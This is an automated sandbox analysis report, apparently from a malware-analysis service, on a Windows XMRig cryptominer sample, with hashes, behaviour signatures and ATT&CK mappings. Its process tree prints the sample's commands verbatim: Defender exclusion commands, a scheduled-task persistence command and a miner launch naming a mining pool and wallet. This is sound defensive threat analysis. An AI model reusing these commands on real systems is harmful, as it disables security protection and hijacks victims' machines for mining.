xmrig | bd8322ca81f42d51423c11ba7a4a772c47d5a0abc5d9cc5da4fcb0c83f725b22

Analysis

max time kernel
97s
max time network
117s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
09/12/2022, 00:17

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
file.exe
Size 4.4MB
Sample221209-ak3dtabh82
SHA256 bd8322ca81f42d51423c11ba7a4a772c47d5a0abc5d9cc5da4fcb0c83f725b22
MD5 d739e1e86782b64fa23666c55c0c9970
SHA1 ebd82a2a007f748d0c20a7140d2d73d106c19f6d
SHA512 699d8dda169a4a4e0328ec9b63330a4f4e033ffce06fb3ade080c1638e826d9a48034b9b47c49950568f7c26e1c34ed033fe15e7270bc290920824acf234f12b
SSDEEP 98304:brTwdpIoPXCN1/VTofGubhMm0t3E5nN51J:bnwdpIMSN1/eGudMmN
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xmrig miner

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 3 IoCs

miner

resource	yara_rule
behavioral1/memory/1476-160-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral1/memory/1476-175-0x0000000140343234-mapping.dmp	xmrig
behavioral1/memory/1476-179-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig

Executes dropped EXE 1 IoCs

pid	Process
920	JTPFKOXW.exe

Loads dropped DLL 1 IoCs

pid	Process
796	cmd.exe

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 920 set thread context of 1476	920	JTPFKOXW.exe	43

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
1140	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
1880	timeout.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
1556	file.exe
920	JTPFKOXW.exe
1448	powershell.exe
600	powershell.exe
808	powershell.exe
896	powershell.exe
920	JTPFKOXW.exe

Suspicious use of AdjustPrivilegeToken 8 IoCs

description	pid	Process
Token: SeDebugPrivilege	1556	file.exe
Token: SeDebugPrivilege	920	JTPFKOXW.exe
Token: SeDebugPrivilege	1448	powershell.exe
Token: SeDebugPrivilege	600	powershell.exe
Token: SeDebugPrivilege	808	powershell.exe
Token: SeDebugPrivilege	896	powershell.exe
Token: SeLockMemoryPrivilege	1476	vbc.exe
Token: SeLockMemoryPrivilege	1476	vbc.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1476	vbc.exe

Suspicious use of WriteProcessMemory 42 IoCs

description	pid	Process	procid_target
PID 1556 wrote to memory of 896	1556	file.exe	27
PID 1556 wrote to memory of 896	1556	file.exe	27
PID 1556 wrote to memory of 896	1556	file.exe	27
PID 1556 wrote to memory of 600	1556	file.exe	29
PID 1556 wrote to memory of 600	1556	file.exe	29
PID 1556 wrote to memory of 600	1556	file.exe	29
PID 1556 wrote to memory of 796	1556	file.exe	31
PID 1556 wrote to memory of 796	1556	file.exe	31
PID 1556 wrote to memory of 796	1556	file.exe	31
PID 796 wrote to memory of 1880	796	cmd.exe	33
PID 796 wrote to memory of 1880	796	cmd.exe	33
PID 796 wrote to memory of 1880	796	cmd.exe	33
PID 796 wrote to memory of 920	796	cmd.exe	34
PID 796 wrote to memory of 920	796	cmd.exe	34
PID 796 wrote to memory of 920	796	cmd.exe	34
PID 920 wrote to memory of 808	920	JTPFKOXW.exe	35
PID 920 wrote to memory of 808	920	JTPFKOXW.exe	35
PID 920 wrote to memory of 808	920	JTPFKOXW.exe	35
PID 920 wrote to memory of 1448	920	JTPFKOXW.exe	36
PID 920 wrote to memory of 1448	920	JTPFKOXW.exe	36
PID 920 wrote to memory of 1448	920	JTPFKOXW.exe	36
PID 920 wrote to memory of 1892	920	JTPFKOXW.exe	39
PID 920 wrote to memory of 1892	920	JTPFKOXW.exe	39
PID 920 wrote to memory of 1892	920	JTPFKOXW.exe	39
PID 1892 wrote to memory of 1140	1892	cmd.exe	41
PID 1892 wrote to memory of 1140	1892	cmd.exe	41
PID 1892 wrote to memory of 1140	1892	cmd.exe	41
PID 920 wrote to memory of 1476	920	JTPFKOXW.exe	43
PID 920 wrote to memory of 1476	920	JTPFKOXW.exe	43
PID 920 wrote to memory of 1476	920	JTPFKOXW.exe	43
PID 920 wrote to memory of 1476	920	JTPFKOXW.exe	43
PID 920 wrote to memory of 1476	920	JTPFKOXW.exe	43
PID 920 wrote to memory of 1476	920	JTPFKOXW.exe	43
PID 920 wrote to memory of 1476	920	JTPFKOXW.exe	43
PID 920 wrote to memory of 1476	920	JTPFKOXW.exe	43
PID 920 wrote to memory of 1476	920	JTPFKOXW.exe	43
PID 920 wrote to memory of 1476	920	JTPFKOXW.exe	43
PID 920 wrote to memory of 1476	920	JTPFKOXW.exe	43
PID 920 wrote to memory of 1476	920	JTPFKOXW.exe	43
PID 920 wrote to memory of 1476	920	JTPFKOXW.exe	43
PID 920 wrote to memory of 1476	920	JTPFKOXW.exe	43
PID 920 wrote to memory of 1476	920	JTPFKOXW.exe	43

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1556
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:896
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:600
- C:\Windows\system32\cmd.exe
  cmd /c ""C:\Users\Admin\AppData\Local\Temp\tmp4BC1.tmp.bat""
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:796
- - C:\Windows\system32\timeout.exe
    timeout 3
    3⤵
    - Delays execution with timeout.exe
    PID:1880
- - C:\ProgramData\common\JTPFKOXW.exe
    "C:\ProgramData\common\JTPFKOXW.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:920
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:808
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1448
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "JTPFKOXW" /tr "C:\ProgramData\common\JTPFKOXW.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1892
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "JTPFKOXW" /tr "C:\ProgramData\common\JTPFKOXW.exe"
        5⤵
        Creates scheduled task(s)
        
        PID:1140
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero
      4⤵
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of FindShellTrayWindow
      PID:1476

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Scripting

T1064

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Scripting

T1064

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

JTPFKOXW.exe

Path C:\ProgramData\common\JTPFKOXW.exe
Size 4.4MB
SHA256 bd8322ca81f42d51423c11ba7a4a772c47d5a0abc5d9cc5da4fcb0c83f725b22
MD5 d739e1e86782b64fa23666c55c0c9970
SHA1 ebd82a2a007f748d0c20a7140d2d73d106c19f6d
SHA512 699d8dda169a4a4e0328ec9b63330a4f4e033ffce06fb3ade080c1638e826d9a48034b9b47c49950568f7c26e1c34ed033fe15e7270bc290920824acf234f12b
SSDEEP 98304:brTwdpIoPXCN1/VTofGubhMm0t3E5nN51J:bnwdpIMSN1/eGudMmN
MD5 SHA1 SHA512 SSDEEP

Submit Download

JTPFKOXW.exe

Path C:\ProgramData\common\JTPFKOXW.exe
Size 4.4MB
SHA256 bd8322ca81f42d51423c11ba7a4a772c47d5a0abc5d9cc5da4fcb0c83f725b22
MD5 d739e1e86782b64fa23666c55c0c9970
SHA1 ebd82a2a007f748d0c20a7140d2d73d106c19f6d
SHA512 699d8dda169a4a4e0328ec9b63330a4f4e033ffce06fb3ade080c1638e826d9a48034b9b47c49950568f7c26e1c34ed033fe15e7270bc290920824acf234f12b
SSDEEP 98304:brTwdpIoPXCN1/VTofGubhMm0t3E5nN51J:bnwdpIMSN1/eGudMmN
MD5 SHA1 SHA512 SSDEEP

Submit Download

tmp4BC1.tmp.bat

Path C:\Users\Admin\AppData\Local\Temp\tmp4BC1.tmp.bat
Size 143B
SHA256 449c32b7721f1eb93ee3b8eac4606e73d3f0e0eedc299db29a11c85814d342b4
MD5 c1254a2b4c532f5cffefa9fef01219f1
SHA1 7d080be3c879f43688ff28be863c2dc4d32c5e26
SHA512 230cebfdb81d4c4b79cbfcd56c258f63f11fee69aec0a553a6781f63b19b0b442a79878320805e4744797d9d2167ec8535ed2cc2095b8ae0aec420da85cd253d
MD5 SHA1 SHA512

Submit Download

590aee7bdd69b59b.customDestinations-ms

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Size 7KB
SHA256 c864d68723a406fb72e29e167c7e66d60b0f0db05ed0ddd9e6c1132345165115
MD5 3b68a4eaee7281b799d2a0746b8b4e9d
SHA1 1e1620c9b7a475805bf6d62967e259296808922c
SHA512 0d3aad27b577842a0f46c98a929abbbc4c724879cb461f14453f47cad17705fac71bebb357bbbfe17f0bd8dcfcb6c36403545f3aad34eb2f4b86759e84eb304a
SSDEEP 96:chmxCNM81nqvsqvJCwod51hmxCNM81nqvsEHyqvJCwor/58L20QHqB7gqXlUVScC:ErRUo/rRAHnorK53B7gqv
MD5 SHA1 SHA512 SSDEEP

Submit Download

590aee7bdd69b59b.customDestinations-ms

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Size 7KB
SHA256 608df7ac463481942ce8b0315fecc24667bfab67a1d06a67d841f2ce2c80f945
MD5 7b1c22ac13c467fa99dfe81a375a708f
SHA1 f64b80ebd4cbbbb70edde7f946fae7c55faea857
SHA512 37f50082d1d7ebbf4aae997813e9a455a324dd5485ff8c4d9a7559d0d9864ac9b568cd714edb040b8ef3222c7bd7030acbae961a9d5c65644502aee074620af4
SSDEEP 96:8hmxCNM81nqvsqvJCwod5NhmxCNM81nqvsEHyqvJCwor/58L20QHqB7gqXlUVScC:krRUoHrRAHnorK53B7gqv
MD5 SHA1 SHA512 SSDEEP

Submit Download

590aee7bdd69b59b.customDestinations-ms

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Size 7KB
SHA256 c864d68723a406fb72e29e167c7e66d60b0f0db05ed0ddd9e6c1132345165115
MD5 3b68a4eaee7281b799d2a0746b8b4e9d
SHA1 1e1620c9b7a475805bf6d62967e259296808922c
SHA512 0d3aad27b577842a0f46c98a929abbbc4c724879cb461f14453f47cad17705fac71bebb357bbbfe17f0bd8dcfcb6c36403545f3aad34eb2f4b86759e84eb304a
SSDEEP 96:chmxCNM81nqvsqvJCwod51hmxCNM81nqvsEHyqvJCwor/58L20QHqB7gqXlUVScC:ErRUo/rRAHnorK53B7gqv
MD5 SHA1 SHA512 SSDEEP

Submit Download

JTPFKOXW.exe

Path \ProgramData\common\JTPFKOXW.exe
Size 4.4MB
SHA256 bd8322ca81f42d51423c11ba7a4a772c47d5a0abc5d9cc5da4fcb0c83f725b22
MD5 d739e1e86782b64fa23666c55c0c9970
SHA1 ebd82a2a007f748d0c20a7140d2d73d106c19f6d
SHA512 699d8dda169a4a4e0328ec9b63330a4f4e033ffce06fb3ade080c1638e826d9a48034b9b47c49950568f7c26e1c34ed033fe15e7270bc290920824acf234f12b
SSDEEP 98304:brTwdpIoPXCN1/VTofGubhMm0t3E5nN51J:bnwdpIMSN1/eGudMmN
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/600-133-0x000000001B790000-0x000000001BA8F000-memory.dmp

Download

memory/600-126-0x00000000026D4000-0x00000000026D7000-memory.dmp

Download

memory/600-78-0x000007FEEDA90000-0x000007FEEE4B3000-memory.dmp

Download

memory/600-128-0x000007FEEBFE0000-0x000007FEECB3D000-memory.dmp

Download

memory/600-137-0x00000000026DB000-0x00000000026FA000-memory.dmp

Download

memory/600-143-0x00000000026DB000-0x00000000026FA000-memory.dmp

Download

memory/600-142-0x00000000026D4000-0x00000000026D7000-memory.dmp

Download

memory/808-134-0x00000000022A0000-0x0000000002320000-memory.dmp

Download

memory/808-117-0x000007FEEDA90000-0x000007FEEE4B3000-memory.dmp

Download

memory/808-121-0x00000000022A0000-0x0000000002320000-memory.dmp

Download

memory/808-129-0x00000000022A0000-0x0000000002320000-memory.dmp

Download

memory/808-119-0x000007FEEBFE0000-0x000007FEECB3D000-memory.dmp

Download

memory/896-136-0x00000000022EB000-0x000000000230A000-memory.dmp

Download

memory/896-76-0x000007FEEDA90000-0x000007FEEE4B3000-memory.dmp

Download

memory/896-141-0x00000000022E4000-0x00000000022E7000-memory.dmp

Download

memory/896-140-0x00000000022EB000-0x000000000230A000-memory.dmp

Download

memory/896-132-0x000000001B760000-0x000000001BA5F000-memory.dmp

Download

memory/896-74-0x000007FEFC511000-0x000007FEFC513000-memory.dmp

Download

memory/896-122-0x000007FEEBFE0000-0x000007FEECB3D000-memory.dmp

Download

memory/896-123-0x00000000022E4000-0x00000000022E7000-memory.dmp

Download

memory/920-101-0x000007FEFF580000-0x000007FEFF65B000-memory.dmp

Download

memory/920-145-0x000007FEFD2D0000-0x000007FEFD2E7000-memory.dmp

Download

memory/920-92-0x000007FEF7300000-0x000007FEF739C000-memory.dmp

Download

memory/920-93-0x000007FEFFC50000-0x000007FEFFCB7000-memory.dmp

Download

memory/920-94-0x0000000077A70000-0x0000000077B6A000-memory.dmp

Download

memory/920-95-0x000007FEFDE70000-0x000007FEFDF0F000-memory.dmp

Download

memory/920-96-0x0000000077B70000-0x0000000077C8F000-memory.dmp

Download

memory/920-97-0x000007FEFDD70000-0x000007FEFDDDC000-memory.dmp

Download

memory/920-98-0x000007FEFEF40000-0x000007FEFEFB1000-memory.dmp

Download

memory/920-99-0x0000000000110000-0x0000000000151000-memory.dmp

Download

memory/920-100-0x000007FEF6F40000-0x000007FEF7037000-memory.dmp

Download

memory/920-154-0x000007FEFD0F0000-0x000007FEFD14B000-memory.dmp

Download

memory/920-102-0x000007FEF5910000-0x000007FEF62FC000-memory.dmp

Download

memory/920-103-0x000007FEFFA20000-0x000007FEFFB4D000-memory.dmp

Download

memory/920-104-0x000007FEFFCC0000-0x000007FEFFEC3000-memory.dmp

Download

memory/920-105-0x0000000000C50000-0x000000000111A000-memory.dmp

Download

memory/920-153-0x000007FEFDC90000-0x000007FEFDCC6000-memory.dmp

Download

memory/920-152-0x000007FEFB3B0000-0x000007FEFB3D7000-memory.dmp

Download

memory/920-151-0x000007FEFD8A0000-0x000007FEFD8C5000-memory.dmp

Download

memory/920-150-0x000007FEFAD10000-0x000007FEFAD81000-memory.dmp

Download

memory/920-149-0x000007FEFACA0000-0x000007FEFAD04000-memory.dmp

Download

memory/920-148-0x000007FEFEE50000-0x000007FEFEE9D000-memory.dmp

Download

memory/920-115-0x000007FEFC060000-0x000007FEFC275000-memory.dmp

Download

memory/920-147-0x000007FEF1A20000-0x000007FEF1A82000-memory.dmp

Download

memory/920-146-0x000007FEF1A00000-0x000007FEF1A1C000-memory.dmp

Download

memory/920-130-0x000007FEFECA0000-0x000007FEFED77000-memory.dmp

Download

memory/920-88-0x0000000000C50000-0x000000000111A000-memory.dmp

Download

memory/920-144-0x000007FEFD420000-0x000007FEFD442000-memory.dmp

Download

memory/920-131-0x000007FEFEE00000-0x000007FEFEE1F000-memory.dmp

Download

memory/920-124-0x0000000000C50000-0x000000000111A000-memory.dmp

Download

memory/920-91-0x000007FEF73A0000-0x000007FEF740F000-memory.dmp

Download

memory/920-127-0x0000000000110000-0x0000000000151000-memory.dmp

Download

memory/1448-135-0x000000001B7F0000-0x000000001BAEF000-memory.dmp

Download

memory/1448-138-0x0000000002514000-0x0000000002517000-memory.dmp

Download

memory/1448-125-0x0000000002514000-0x0000000002517000-memory.dmp

Download

memory/1448-139-0x000000000251B000-0x000000000253A000-memory.dmp

Download

memory/1448-118-0x000007FEEDA90000-0x000007FEEE4B3000-memory.dmp

Download

memory/1448-120-0x000007FEEBFE0000-0x000007FEECB3D000-memory.dmp

Download

memory/1476-155-0x0000000140000000-0x00000001407C9000-memory.dmp

Download

memory/1476-156-0x0000000140000000-0x00000001407C9000-memory.dmp

Download

memory/1476-158-0x0000000140000000-0x00000001407C9000-memory.dmp

Download

memory/1476-160-0x0000000140000000-0x00000001407C9000-memory.dmp

Download

memory/1476-179-0x0000000140000000-0x00000001407C9000-memory.dmp

Download

memory/1556-59-0x000007FEFDE70000-0x000007FEFDF0F000-memory.dmp

Download

memory/1556-69-0x000007FEFFCC0000-0x000007FEFFEC3000-memory.dmp

Download

memory/1556-82-0x000007FEFEE00000-0x000007FEFEE1F000-memory.dmp

Download

memory/1556-62-0x000007FEFEF40000-0x000007FEFEFB1000-memory.dmp

Download

memory/1556-56-0x000007FEF7300000-0x000007FEF739C000-memory.dmp

Download

memory/1556-63-0x000007FEF7040000-0x000007FEF7137000-memory.dmp

Download

memory/1556-66-0x000007FEFF580000-0x000007FEFF65B000-memory.dmp

Download

memory/1556-71-0x000007FEF6F10000-0x000007FEF703C000-memory.dmp

Download

memory/1556-67-0x000007FEF6300000-0x000007FEF6CEC000-memory.dmp

Download

memory/1556-58-0x0000000077A70000-0x0000000077B6A000-memory.dmp

Download

memory/1556-68-0x000007FEFFA20000-0x000007FEFFB4D000-memory.dmp

Download

memory/1556-83-0x0000000000B00000-0x0000000000FCA000-memory.dmp

Download

memory/1556-65-0x00000000000E0000-0x0000000000121000-memory.dmp

Download

memory/1556-55-0x000007FEF73A0000-0x000007FEF740F000-memory.dmp

Download

memory/1556-70-0x0000000000B00000-0x0000000000FCA000-memory.dmp

Download

memory/1556-64-0x0000000000B00000-0x0000000000FCA000-memory.dmp

Download

memory/1556-57-0x000007FEFFC50000-0x000007FEFFCB7000-memory.dmp

Download

memory/1556-84-0x00000000000E0000-0x0000000000121000-memory.dmp

Download

memory/1556-60-0x0000000077B70000-0x0000000077C8F000-memory.dmp

Download

memory/1556-61-0x000007FEFDD70000-0x000007FEFDDDC000-memory.dmp

Download